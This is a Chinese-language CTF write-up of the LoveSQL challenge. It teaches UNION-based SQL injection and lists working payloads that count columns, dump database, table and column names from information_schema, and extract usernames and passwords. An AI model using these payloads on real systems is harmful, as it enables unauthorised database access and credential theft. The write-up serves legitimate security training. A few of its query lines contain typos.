[极客大挑战 2019]LoveSQL 1
[極客大挑戰(zhàn) 2019]LoveSQL 1
審題
又是一道SQL題,還和上面Easy_SQL是一個(gè)系列的題。
知識(shí)點(diǎn)
SQL注入之聯(lián)合查詢。
知識(shí)點(diǎn)詳解
聯(lián)合查詢
基礎(chǔ)講解:
union聯(lián)合查詢定義是:可以使用UNION操作符,將多個(gè)查詢結(jié)果,按行進(jìn)行縱向合并。
基本語法
SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>
我們常用到的SQL語句有:
- 查詢字段
1' order by X# //X替換為數(shù)字
- 查詢注入點(diǎn)
1' union select 1,2,3,···,X#
- 爆數(shù)據(jù)庫,
1' union select 1,2,database()#
- 爆表,只有一個(gè)數(shù)據(jù)庫時(shí)
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
有多個(gè)數(shù)據(jù)庫時(shí)
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
- 爆表的列
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
- 讀取內(nèi)容
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#
group_concat
其中,group_concat函數(shù)的作用是將查詢到的每行結(jié)果合并成一行并以逗號(hào)隔開。
比如:
沒使用group_concat時(shí),用concat查詢的情況如下
ID
USER
PASSWARD
使用了group_caoncat后的結(jié)果就如下
ID,USER,PASSWARD
information_schema
nformation_schema是mysql自帶的一個(gè)信息數(shù)據(jù)庫,保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫的信息。
所以我們將從information_schema數(shù)據(jù)庫中找到表名和列名。
另外,聯(lián)合查詢還有有很多種查詢方法,大家可以去自行查找。
參考博客:
SQL入門之第十二講——UNION 聯(lián)合查詢
解題
-
進(jìn)行SQL注入測試。當(dāng)輸入1'時(shí)發(fā)現(xiàn)有報(bào)錯(cuò)回顯,可以猜測有SQL注入。
-
使用基礎(chǔ)的1' show databases# 無法得到庫名,我們使用聯(lián)合查詢。
由上面的知識(shí)點(diǎn)詳解的步驟開始解題
- 查詢字段,從1一直嘗試到4,發(fā)現(xiàn)輸入1' order by 4# 時(shí)出現(xiàn)報(bào)錯(cuò)
- 猜測其有三個(gè)字段,查詢注入點(diǎn)
1' union select 1,2,3#
通過回顯可以看出2,3都是注入點(diǎn)。
-
爆庫名
1' union select 1,2,database()# -
爆表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# -
爆列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'# -
爆這個(gè)列名中的所有內(nèi)容
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#得到flag
總結(jié)
以上是生活随笔為你收集整理的[极客大挑战 2019]LoveSQL 1的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Feign源码解析5:loadbalan
- 下一篇: FlinkSQL实战开发